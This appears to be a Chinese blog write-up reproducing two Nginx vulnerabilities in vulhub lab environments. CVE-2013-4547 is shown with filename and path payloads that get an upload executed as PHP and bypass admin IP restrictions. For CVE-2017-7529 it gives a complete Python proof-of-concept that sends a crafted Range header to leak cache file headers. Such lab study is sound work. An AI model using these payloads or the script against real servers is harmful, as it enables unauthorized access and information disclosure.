最近的漏洞复现就跟着vulhub做,感谢大佬做的环境和记录

CVE-2013-4547

漏洞介绍

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

我们构造1.jpg[20][00].php
比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:
/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/…/admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫test:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞测试

nginx 漏洞修改升级后仍然有漏洞 nginx最新漏洞_缓存文件


上传成功

nginx 漏洞修改升级后仍然有漏洞 nginx最新漏洞_缓存文件_02


解析成功

需要注意的是我们上传和访问的文件都是1.jpg[20][00].php

nginx 漏洞修改升级后仍然有漏洞 nginx最新漏洞_nginx 漏洞修改升级后仍然有漏洞_03

Nginx越界读取缓存漏洞(CVE-2017-7529)

漏洞介绍

当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。

影响版本

存在漏洞:Nginx version 0.5.6 - 1.13.2
修复版本:Nginx version 1.13.3, 1.12.1

漏洞利用

poc脚本:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

构造一个Range: bytes=-X, -Y

一大一小两个end值,只需要控制前面一个end值小而后一个end值大,从而实现start值和size值皆为负数,控制start值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。

nginx 漏洞修改升级后仍然有漏洞 nginx最新漏洞_Nginx_04


读取到缓存文件

参考文章:

https://cert.360.cn/warning/detail?id=b879782fbad4a7f773b6c18490d67ac7